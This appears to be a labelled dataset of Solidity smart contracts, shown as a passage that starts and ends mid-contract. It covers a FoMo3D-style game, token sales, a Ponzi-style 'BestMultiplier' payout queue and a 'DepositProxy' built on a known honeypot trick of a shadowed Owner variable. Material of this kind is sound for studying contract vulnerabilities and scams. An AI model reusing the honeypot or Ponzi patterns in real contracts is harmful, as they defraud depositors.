round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, HXdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit HXevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == community_addr, "only community can activate"
);
require(activated_ == false, "shuoha already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library HXdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library HXKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,094 |
pragma solidity ^0.4.25;
contract BestMultiplier {
address constant private Reclame = 0x39D080403562770754d2fA41225b33CaEE85fdDd;
uint constant public Reclame_PERCENT = 3;
address constant private Admin = 0x0eDd0c239Ef99A285ddCa25EC340064232aD985e;
uint constant public Admin_PERCENT = 1;
address constant private BMG = 0xc42F87a2E51577d56D64BF7Aa8eE3A26F3ffE8cF;
uint constant public BMG_PERCENT = 2;
uint constant public Refferal_PERCENT = 10;
uint constant public MULTIPLIER = 121;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
require(tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!");
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 10 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*Reclame_PERCENT/100;
Reclame.send(promo);
uint admin = msg.value*Admin_PERCENT/100;
Admin.send(admin);
uint bmg = msg.value*BMG_PERCENT/100;
BMG.send(bmg);
pay();
}
}
function refferal (address REF) public payable {
require(tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!");
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 10 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*Reclame_PERCENT/100;
Reclame.send(promo);
uint admin = msg.value*Admin_PERCENT/100;
Admin.send(admin);
uint bmg = msg.value*BMG_PERCENT/100;
BMG.send(bmg);
require(REF != 0x0000000000000000000000000000000000000000 && REF != msg.sender, "You need another refferal!");
uint ref = msg.value*Refferal_PERCENT/100;
REF.send(ref);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 321 |
pragma solidity ^0.4.20;
contract Proxy {
address public Owner = msg.sender;
address public Proxy = 0x0;
bytes data;
modifier onlyOwner { if (msg.sender == Owner) _; }
function transferOwner(address _owner) public onlyOwner { Owner = _owner; }
function proxy(address _proxy) onlyOwner { Proxy = _proxy; }
function () payable { data = msg.data; }
function execute() returns (bool) { return Proxy.call(data); }
}
contract DepositProxy is Proxy {
address public Owner;
mapping (address => uint) public Deposits;
event Deposited(address who, uint amount);
event Withdrawn(address who, uint amount);
function Deposit() payable {
if (msg.sender == tx.origin) {
Owner = msg.sender;
deposit();
}
}
function deposit() payable {
if (msg.value >= 1 ether) {
Deposits[msg.sender] += msg.value;
Deposited(msg.sender, msg.value);
}
}
function withdraw(uint amount) payable onlyOwner {
if (Deposits[msg.sender]>=amount) {
msg.sender.transfer(amount);
Withdrawn(msg.sender, amount);
}
}
} | 0 | 871 |
pragma solidity ^0.4.18;
contract ERC20Interface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Gifto is ERC20Interface {
uint256 public constant decimals = 5;
string public constant symbol = "GTO";
string public constant name = "Gifto";
bool public _selling = true;
uint256 public _totalSupply = 10 ** 14;
uint256 public _originalBuyPrice = 43 * 10**7;
address public owner;
mapping(address => uint256) private balances;
mapping(address => mapping (address => uint256)) private allowed;
mapping(address => bool) private approvedInvestorList;
mapping(address => uint256) private deposit;
uint256 public _icoPercent = 10;
uint256 public _icoSupply = _totalSupply * _icoPercent / 100;
uint256 public _minimumBuy = 3 * 10 ** 17;
uint256 public _maximumBuy = 25 * 10 ** 18;
uint256 public totalTokenSold = 0;
bool public tradable = false;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onSale() {
require(_selling);
_;
}
modifier validInvestor() {
require(approvedInvestorList[msg.sender]);
_;
}
modifier validValue(){
require ( (msg.value >= _minimumBuy) &&
( (deposit[msg.sender] + msg.value) <= _maximumBuy) );
_;
}
modifier isTradable(){
require(tradable == true || msg.sender == owner);
_;
}
function()
public
payable {
buyGifto();
}
function buyGifto()
public
payable
onSale
validValue
validInvestor {
uint256 requestedUnits = (msg.value * _originalBuyPrice) / 10**18;
require(balances[owner] >= requestedUnits);
balances[owner] -= requestedUnits;
balances[msg.sender] += requestedUnits;
deposit[msg.sender] += msg.value;
totalTokenSold += requestedUnits;
if (totalTokenSold >= _icoSupply){
_selling = false;
}
Transfer(owner, msg.sender, requestedUnits);
owner.transfer(msg.value);
}
function Gifto()
public {
owner = msg.sender;
setBuyPrice(_originalBuyPrice);
balances[owner] = _totalSupply;
Transfer(0x0, owner, _totalSupply);
}
function totalSupply()
public
constant
returns (uint256) {
return _totalSupply;
}
function turnOnSale() onlyOwner
public {
_selling = true;
}
function turnOffSale() onlyOwner
public {
_selling = false;
}
function turnOnTradable()
public
onlyOwner{
tradable = true;
}
function setIcoPercent(uint256 newIcoPercent)
public
onlyOwner {
_icoPercent = newIcoPercent;
_icoSupply = _totalSupply * _icoPercent / 100;
}
function setMaximumBuy(uint256 newMaximumBuy)
public
onlyOwner {
_maximumBuy = newMaximumBuy;
}
function setBuyPrice(uint256 newBuyPrice)
onlyOwner
public {
require(newBuyPrice>0);
_originalBuyPrice = newBuyPrice;
_maximumBuy = 10**18 * 10000000000 /_originalBuyPrice;
}
function balanceOf(address _addr)
public
constant
returns (uint256) {
return balances[_addr];
}
function isApprovedInvestor(address _addr)
public
constant
returns (bool) {
return approvedInvestorList[_addr];
}
function getDeposit(address _addr)
public
constant
returns(uint256){
return deposit[_addr];
}
function addInvestorList(address[] newInvestorList)
onlyOwner
public {
for (uint256 i = 0; i < newInvestorList.length; i++){
approvedInvestorList[newInvestorList[i]] = true;
}
}
function removeInvestorList(address[] investorList)
onlyOwner
public {
for (uint256 i = 0; i < investorList.length; i++){
approvedInvestorList[investorList[i]] = false;
}
}
function transfer(address _to, uint256 _amount)
public
isTradable
returns (bool) {
if ( (balances[msg.sender] >= _amount) &&
(_amount >= 0) &&
(balances[_to] + _amount > balances[_to]) ) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
)
public
isTradable
returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount)
public
isTradable
returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender)
public
constant
returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner
public
returns (bool) {
return owner.send(this.balance);
}
} | 0 | 169 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlySaleAgent() {
require(msg.sender == saleAgent);
_;
}
function setSaleAgent(address newSaleAgent) public onlyOwner {
saleAgent = newSaleAgent;
}
function mint(address _to, uint256 _amount) public onlySaleAgent canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() public onlySaleAgent returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AgroTechFarmToken is MintableToken {
string public constant name = "Agro Tech Farm";
string public constant symbol = "ATF";
uint32 public constant decimals = 18;
}
contract preSale2 is Ownable {
using SafeMath for uint;
AgroTechFarmToken public token;
bool public preSale2Finished = false;
address public multisig;
uint public rate;
uint public tokenCap;
uint public start;
uint public period;
uint public hardcap;
address public restricted;
uint public restrictedPercent;
function preSale2() public {
token = AgroTechFarmToken(0xa55ffAeA5c8cf32B550F663bf17d4F7b739534ff);
multisig = 0x227917ac3C1F192874d43031cF4D40fd40Ae6127;
rate = 83333333333000000000;
tokenCap = 60000000000000000000000;
start = 1519430400;
period = 14;
hardcap = 500000000000000000000;
restricted = 0xbcCd749ecCCee5B4898d0E38D2a536fa84Ea9Ef6;
restrictedPercent = 35;
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
modifier isUnderHardCap() {
require(this.balance <= hardcap);
_;
}
function balancePreSale2() public constant returns (uint) {
return this.balance;
}
function finishPreSale2() public onlyOwner returns (bool) {
if(now > start + period * 1 days || this.balance >= hardcap) {
multisig.transfer(this.balance);
preSale2Finished = true;
return true;
} else return false;
}
function createTokens() public isUnderHardCap saleIsOn payable {
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = tokens.mul(40).div(100);
tokens += bonusTokens;
token.mint(msg.sender, tokens);
uint restrictedTokens = tokens.mul(restrictedPercent).div(100);
token.mint(restricted, restrictedTokens);
}
function() external payable {
createTokens();
}
} | 1 | 3,733 |
pragma solidity ^0.4.18;
contract Owned {
address public owner;
address public proposedOwner;
event OwnershipTransferInitiated(address indexed _proposedOwner);
event OwnershipTransferCompleted(address indexed _newOwner);
event OwnershipTransferCanceled();
function Owned() public
{
owner = msg.sender;
}
modifier onlyOwner() {
require(isOwner(msg.sender) == true);
_;
}
function isOwner(address _address) public view returns (bool) {
return (_address == owner);
}
function initiateOwnershipTransfer(address _proposedOwner) public onlyOwner returns (bool) {
require(_proposedOwner != address(0));
require(_proposedOwner != address(this));
require(_proposedOwner != owner);
proposedOwner = _proposedOwner;
OwnershipTransferInitiated(proposedOwner);
return true;
}
function cancelOwnershipTransfer() public onlyOwner returns (bool) {
if (proposedOwner == address(0)) {
return true;
}
proposedOwner = address(0);
OwnershipTransferCanceled();
return true;
}
function completeOwnershipTransfer() public returns (bool) {
require(msg.sender == proposedOwner);
owner = msg.sender;
proposedOwner = address(0);
OwnershipTransferCompleted(owner);
return true;
}
}
contract OpsManaged is Owned {
address public opsAddress;
event OpsAddressUpdated(address indexed _newAddress);
function OpsManaged() public
Owned()
{
}
modifier onlyOwnerOrOps() {
require(isOwnerOrOps(msg.sender));
_;
}
function isOps(address _address) public view returns (bool) {
return (opsAddress != address(0) && _address == opsAddress);
}
function isOwnerOrOps(address _address) public view returns (bool) {
return (isOwner(_address) || isOps(_address));
}
function setOpsAddress(address _newOpsAddress) public onlyOwner returns (bool) {
require(_newOpsAddress != owner);
require(_newOpsAddress != address(this));
opsAddress = _newOpsAddress;
OpsAddressUpdated(opsAddress);
return true;
}
}
library Math {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 r = a + b;
require(r >= a);
return r;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(a >= b);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 r = a * b;
require(a == 0 || r / a == b);
return r;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
}
contract ERC20Interface {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256 balance);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract ERC20Token is ERC20Interface {
using Math for uint256;
string private tokenName;
string private tokenSymbol;
uint8 private tokenDecimals;
uint256 internal tokenTotalSupply;
mapping(address => uint256) internal balances;
mapping(address => mapping (address => uint256)) allowed;
function ERC20Token(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply, address _initialTokenHolder) public {
tokenName = _name;
tokenSymbol = _symbol;
tokenDecimals = _decimals;
tokenTotalSupply = _totalSupply;
balances[_initialTokenHolder] = _totalSupply;
Transfer(0x0, _initialTokenHolder, _totalSupply);
}
function name() public view returns (string) {
return tokenName;
}
function symbol() public view returns (string) {
return tokenSymbol;
}
function decimals() public view returns (uint8) {
return tokenDecimals;
}
function totalSupply() public view returns (uint256) {
return tokenTotalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract Finalizable is Owned {
bool public finalized;
event Finalized();
function Finalizable() public
Owned()
{
finalized = false;
}
function finalize() public onlyOwner returns (bool) {
require(!finalized);
finalized = true;
Finalized();
return true;
}
}
contract FinalizableToken is ERC20Token, OpsManaged, Finalizable {
using Math for uint256;
function FinalizableToken(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public
ERC20Token(_name, _symbol, _decimals, _totalSupply, msg.sender)
OpsManaged()
Finalizable()
{
}
function transfer(address _to, uint256 _value) public returns (bool success) {
validateTransfer(msg.sender, _to);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
validateTransfer(msg.sender, _to);
return super.transferFrom(_from, _to, _value);
}
function validateTransfer(address _sender, address _to) private view {
require(_to != address(0));
if (finalized) {
return;
}
if (isOwner(_to)) {
return;
}
require(isOwnerOrOps(_sender));
}
}
contract FlexibleTokenSale is Finalizable, OpsManaged {
using Math for uint256;
uint256 public startTime;
uint256 public endTime;
bool public suspended;
uint256 public tokensPerKEther;
uint256 public bonus;
uint256 public maxTokensPerAccount;
uint256 public contributionMin;
uint256 public tokenConversionFactor;
address public walletAddress;
FinalizableToken public token;
uint256 public totalTokensSold;
uint256 public totalEtherCollected;
event Initialized();
event TokensPerKEtherUpdated(uint256 _newValue);
event MaxTokensPerAccountUpdated(uint256 _newMax);
event BonusUpdated(uint256 _newValue);
event SaleWindowUpdated(uint256 _startTime, uint256 _endTime);
event WalletAddressUpdated(address _newAddress);
event SaleSuspended();
event SaleResumed();
event TokensPurchased(address _beneficiary, uint256 _cost, uint256 _tokens);
event TokensReclaimed(uint256 _amount);
function FlexibleTokenSale(uint256 _startTime, uint256 _endTime, address _walletAddress) public
OpsManaged()
{
require(_endTime > _startTime);
require(_walletAddress != address(0));
require(_walletAddress != address(this));
walletAddress = _walletAddress;
finalized = false;
suspended = false;
startTime = _startTime;
endTime = _endTime;
tokensPerKEther = 100000;
bonus = 0;
maxTokensPerAccount = 0;
contributionMin = 0.1 ether;
totalTokensSold = 0;
totalEtherCollected = 0;
}
function currentTime() public constant returns (uint256) {
return now;
}
function initialize(FinalizableToken _token) external onlyOwner returns(bool) {
require(address(token) == address(0));
require(address(_token) != address(0));
require(address(_token) != address(this));
require(address(_token) != address(walletAddress));
require(isOwnerOrOps(address(_token)) == false);
token = _token;
tokenConversionFactor = 10**(uint256(18).sub(_token.decimals()).add(3).add(4));
require(tokenConversionFactor > 0);
Initialized();
return true;
}
function setWalletAddress(address _walletAddress) external onlyOwner returns(bool) {
require(_walletAddress != address(0));
require(_walletAddress != address(this));
require(_walletAddress != address(token));
require(isOwnerOrOps(_walletAddress) == false);
walletAddress = _walletAddress;
WalletAddressUpdated(_walletAddress);
return true;
}
function setMaxTokensPerAccount(uint256 _maxTokens) external onlyOwner returns(bool) {
maxTokensPerAccount = _maxTokens;
MaxTokensPerAccountUpdated(_maxTokens);
return true;
}
function setTokensPerKEther(uint256 _tokensPerKEther) external onlyOwner returns(bool) {
require(_tokensPerKEther > 0);
tokensPerKEther = _tokensPerKEther;
TokensPerKEtherUpdated(_tokensPerKEther);
return true;
}
function setBonus(uint256 _bonus) external onlyOwner returns(bool) {
require(_bonus <= 10000);
bonus = _bonus;
BonusUpdated(_bonus);
return true;
}
function setSaleWindow(uint256 _startTime, uint256 _endTime) external onlyOwner returns(bool) {
require(_startTime > 0);
require(_endTime > _startTime);
startTime = _startTime;
endTime = _endTime;
SaleWindowUpdated(_startTime, _endTime);
return true;
}
function suspend() external onlyOwner returns(bool) {
if (suspended == true) {
return false;
}
suspended = true;
SaleSuspended();
return true;
}
function resume() external onlyOwner returns(bool) {
if (suspended == false) {
return false;
}
suspended = false;
SaleResumed();
return true;
}
function () payable public {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable returns (uint256) {
return buyTokensInternal(_beneficiary, bonus);
}
function buyTokensInternal(address _beneficiary, uint256 _bonus) internal returns (uint256) {
require(!finalized);
require(!suspended);
require(currentTime() >= startTime);
require(currentTime() <= endTime);
require(msg.value >= contributionMin);
require(_beneficiary != address(0));
require(_beneficiary != address(this));
require(_beneficiary != address(token));
require(msg.sender != address(walletAddress));
uint256 saleBalance = token.balanceOf(address(this));
require(saleBalance > 0);
uint256 tokens = msg.value.mul(tokensPerKEther).mul(_bonus.add(10000)).div(tokenConversionFactor);
require(tokens > 0);
uint256 cost = msg.value;
uint256 refund = 0;
uint256 maxTokens = saleBalance;
if (maxTokensPerAccount > 0) {
uint256 userBalance = getUserTokenBalance(_beneficiary);
require(userBalance < maxTokensPerAccount);
uint256 quotaBalance = maxTokensPerAccount.sub(userBalance);
if (quotaBalance < saleBalance) {
maxTokens = quotaBalance;
}
}
require(maxTokens > 0);
if (tokens > maxTokens) {
tokens = maxTokens;
cost = tokens.mul(tokenConversionFactor).div(tokensPerKEther.mul(_bonus.add(10000)));
if (msg.value > cost) {
refund = msg.value.sub(cost);
}
}
uint256 contribution = msg.value.sub(refund);
walletAddress.transfer(contribution);
totalTokensSold = totalTokensSold.add(tokens);
totalEtherCollected = totalEtherCollected.add(contribution);
require(token.transfer(_beneficiary, tokens));
if (refund > 0) {
msg.sender.transfer(refund);
}
TokensPurchased(_beneficiary, cost, tokens);
return tokens;
}
function getUserTokenBalance(address _beneficiary) internal view returns (uint256) {
return token.balanceOf(_beneficiary);
}
function reclaimTokens() external onlyOwner returns (bool) {
uint256 tokens = token.balanceOf(address(this));
if (tokens == 0) {
return false;
}
address tokenOwner = token.owner();
require(tokenOwner != address(0));
require(token.transfer(tokenOwner, tokens));
TokensReclaimed(tokens);
return true;
}
}
contract BluzelleTokenConfig {
string public constant TOKEN_SYMBOL = "BLZ";
string public constant TOKEN_NAME = "Bluzelle Token";
uint8 public constant TOKEN_DECIMALS = 18;
uint256 public constant DECIMALSFACTOR = 10**uint256(TOKEN_DECIMALS);
uint256 public constant TOKEN_TOTALSUPPLY = 500000000 * DECIMALSFACTOR;
}
contract BluzelleTokenSaleConfig is BluzelleTokenConfig {
uint256 public constant INITIAL_STARTTIME = 1516240800;
uint256 public constant INITIAL_ENDTIME = 1517536800;
uint256 public constant INITIAL_STAGE = 1;
uint256 public constant CONTRIBUTION_MIN = 0.1 ether;
uint256 public constant TOKENS_PER_KETHER = 1700000;
uint256 public constant BONUS = 0;
uint256 public constant TOKENS_ACCOUNT_MAX = 17000 * DECIMALSFACTOR;
}
contract BluzelleToken is FinalizableToken, BluzelleTokenConfig {
event TokensReclaimed(uint256 _amount);
function BluzelleToken() public
FinalizableToken(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, TOKEN_TOTALSUPPLY)
{
}
function reclaimTokens() public onlyOwner returns (bool) {
address account = address(this);
uint256 amount = balanceOf(account);
if (amount == 0) {
return false;
}
balances[account] = balances[account].sub(amount);
balances[owner] = balances[owner].add(amount);
Transfer(account, owner, amount);
TokensReclaimed(amount);
return true;
}
}
contract BluzelleTokenSale is FlexibleTokenSale, BluzelleTokenSaleConfig {
uint256 public currentStage;
mapping(uint256 => uint256) public stageBonus;
mapping(address => uint256) public accountTokensPurchased;
mapping(address => uint256) public whitelist;
event CurrentStageUpdated(uint256 _newStage);
event StageBonusUpdated(uint256 _stage, uint256 _bonus);
event WhitelistedStatusUpdated(address indexed _address, uint256 _stage);
function BluzelleTokenSale(address wallet) public
